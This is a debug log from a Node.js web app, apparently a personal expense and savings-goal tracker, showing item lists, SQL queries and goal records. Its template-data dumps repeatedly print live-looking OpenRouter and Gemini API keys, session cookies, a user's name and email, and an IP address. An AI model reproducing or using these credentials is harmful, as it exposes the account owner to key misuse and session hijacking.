    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-02-26T18:30:27.113Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2026-02-26T18:30:30.480Z server-connect:router Serving templateView /goal
2026-02-26T18:30:30.480Z server-connect:app Executing action step identify
2026-02-26T18:30:30.480Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:30.480Z server-connect:output identity: 1
2026-02-26T18:30:30.480Z server-connect:app Executing action step restrict
2026-02-26T18:30:30.480Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:30:30.481Z server-connect:output restrict: undefined
2026-02-26T18:30:30.481Z server-connect:router Render template goal
2026-02-26T18:30:30.481Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-27T18:30:25.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-26T18:30:30.698Z server-connect:router Serving serverConnect /api/goals/list
2026-02-26T18:30:30.698Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-26T18:30:30.698Z server-connect:app Executing action step identify
2026-02-26T18:30:30.698Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:30.698Z server-connect:output identity: 1
2026-02-26T18:30:30.698Z server-connect:app Executing action step restrict
2026-02-26T18:30:30.699Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:30.699Z server-connect:app Executing action step identify
2026-02-26T18:30:30.699Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:30.699Z server-connect:output identity: 1
2026-02-26T18:30:30.699Z server-connect:app Executing action step restrict
2026-02-26T18:30:30.699Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:30.700Z server-connect:output restrict: undefined
2026-02-26T18:30:30.700Z server-connect:app Executing action step custom
2026-02-26T18:30:30.700Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-26T18:30:30.700Z server-connect:output restrict: undefined
2026-02-26T18:30:30.701Z server-connect:app Executing action step paged
2026-02-26T18:30:30.701Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'target_transaction' },
    primary: 'id',
    joins: [ [Object] ],
    orders: [ [Object] ],
    query: 'select `target_transaction`.`target_id`, `target_transaction`.`credit`, `target_transaction`.`debit`, `target_transaction`.`created_on`, `tm`.`name` from `target_transaction` left join `target_master` as `tm` on `tm`.`id` = `target_transaction`.`target_id` where `tm`.`status` <> ? and (`target_transaction`.`target_id` = ?) order by `target_transaction`.`created_on` DESC limit ?',
    limit: 10,
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    }
  }
}
2026-02-26T18:30:30.704Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '50000',
    last_transaction_date: 2026-02-24T12:05:14.000Z,
    percentage_achieved: '25.00',
    grand_total_saved: '50000',
    grand_total_target: '4300000'
  }
]
2026-02-26T18:30:30.706Z server-connect:output list: {
  offset: 0,
  limit: 10,
  total: 1,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      target_id: 8,
      credit: 50000,
      debit: 0,
      created_on: '2026-02-24T12:05:14.000Z',
      name: 'CPU Build'
    }
  ]
}
2026-02-26T18:30:49.335Z server-connect:router Serving serverConnect /api/goals/transaction
2026-02-26T18:30:49.335Z server-connect:app Executing action step identify
2026-02-26T18:30:49.335Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:49.335Z server-connect:output identity: 1
2026-02-26T18:30:49.335Z server-connect:app Executing action step restrict
2026-02-26T18:30:49.335Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:49.336Z server-connect:output restrict: undefined
2026-02-26T18:30:49.336Z server-connect:app Executing action step insert
2026-02-26T18:30:49.336Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'target_transaction',
    returning: 'id',
    query: 'insert into `target_transaction` (`created_on`, `credit`, `debit`, `target_id`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2026-02-26T18:30:49.338Z server-connect:output insert: { affected: 1, identity: 12 }
2026-02-26T18:30:49.604Z server-connect:router Serving templateView /goal
2026-02-26T18:30:49.604Z server-connect:app Executing action step identify
2026-02-26T18:30:49.605Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:49.605Z server-connect:output identity: 1
2026-02-26T18:30:49.605Z server-connect:app Executing action step restrict
2026-02-26T18:30:49.605Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-26T18:30:49.605Z server-connect:output restrict: undefined
2026-02-26T18:30:49.605Z server-connect:router Render template layouts/main
2026-02-26T18:30:49.605Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    cookie: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'x-forwarded-for': '49.43.180.105',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-27T18:30:25.527Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.180.105',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SERVICE_WORKER-NAVIGATION-PRELOAD': 'true',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'security.auth=s%3A3BC%2ByO4uIRd9Tshi%2BOGwGw%3D%3D.qcF1oe9q8D3vqtU1rUivFuEEdp2XGc5e9QxFo0CxtRxe0Bp0co5I0WBCF07yHPJUkmmEIUlL1GTGg8yDLzQrolEHpuOJ2c%2FYsaGyhnzBXtkWyV9XeR5FbABBKl1eNs8wpTw8Eto9LdzxgznqfQodXZpJCzvpZJ%2B3U2EmoRWq0NI%3D.t1bUXnHEEY9ABZcqPF4ZHDkhn2QsWNcwHFs5CVQ021o; your_r_git.sid=s%3AC_huXHNxL6OJ7JA4fNjnNJO_9h7EdM_1.Xlb129r5vHa35CMaxdQaLhB7UKg89c9qKKlg%2F6ny6ng',
    'HTTP_X_FORWARDED-FOR': '49.43.180.105',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/goal'
}
2026-02-26T18:30:49.612Z server-connect:router Serving serverConnect /api/goals/list
2026-02-26T18:30:49.612Z server-connect:app Executing action step identify
2026-02-26T18:30:49.612Z server-connect:app options: { provider: 'security' }
2026-02-26T18:30:49.612Z server-connect:output identity: 1
2026-02-26T18:30:49.612Z server-connect:app Executing action step restrict
2026-02-26T18:30:49.612Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-26T18:30:49.613Z server-connect:output restrict: undefined
2026-02-26T18:30:49.613Z server-connect:app Executing action step custom
2026-02-26T18:30:49.613Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    tm.*,\n' +
      '\n' +
      '    -- Total saved per goal\n' +
      '    COALESCE(SUM(tt.credit - tt.debit), 0) AS total_saved,\n' +
      '\n' +
      '    -- Last transaction date\n' +
      '    MAX(tt.created_on) AS last_transaction_date,\n' +
      '\n' +
      '    -- % achieved per goal\n' +
      '    ROUND(\n' +
      '        CASE \n' +
      '            WHEN tm.amount > 0 \n' +
      '            THEN (COALESCE(SUM(tt.credit - tt.debit), 0) / tm.amount) * 100\n' +
      '            ELSE 0\n' +
      '        END,\n' +
      '    2) AS percentage_achieved,\n' +
      '\n' +
      '    -- 🔥 Grand total saved (all goals)\n' +
      '    SUM(COALESCE(SUM(tt.credit - tt.debit), 0)) OVER () AS grand_total_saved,\n' +
      '\n' +
      '    -- 🔥 Grand total target (all goals)\n' +
      '    SUM(tm.amount) OVER () AS grand_total_target\n' +
      '\n' +
      'FROM target_master tm\n' +
      'LEFT JOIN target_transaction tt \n' +
      '    ON tm.id = tt.target_id\n' +
      '\n' +
      "WHERE tm.status != 'Completed'\n" +
      '\n' +
      'GROUP BY tm.id\n' +
      'ORDER BY tm.created_on DESC;',
    params: [ [Object] ]
  }
}
2026-02-26T18:30:49.614Z server-connect:output list: [
  {
    id: 10,
    name: 'House',
    amount: 4000000,
    description: 'My dream house',
    userid: 1,
    created_on: 2026-02-24T12:06:23.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 9,
    name: 'Emergency Fund',
    amount: 100000,
    description: 'Emergency liquid fund',
    userid: 1,
    created_on: 2026-02-24T12:05:59.000Z,
    status: 'Not Started',
    category: 'Home',
    total_saved: '0',
    last_transaction_date: null,
    percentage_achieved: '0.00',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  },
  {
    id: 8,
    name: 'CPU Build',
    amount: 200000,
    description: 'Build 9070XT pc build',
    userid: 1,
    created_on: 2026-02-24T12:05:14.000Z,
    status: 'Not Started',
    category: 'Electronics',
    total_saved: '95000',
    last_transaction_date: 2026-02-26T18:30:49.000Z,
    percentage_achieved: '47.50',
    grand_total_saved: '95000',
    grand_total_target: '4300000'
  }
]
2026-02-26T18:30:51.106Z server-connect:router Serving serverConnect /api/goals/list
2026-02-26T18:30:51.107Z server-connect:router Serving serverConnect /api/access-control/user-info
2026-02-26T18:30:51.108Z server-connect:router Serving serverConnect /api/masters/get-items
2026-02-26T18:30:51.108Z server-connect:router Serving serverConnect /api/goals/recent_transaction
2026-02-26T18:30:51.108Z server-connect:app Executing action step identify
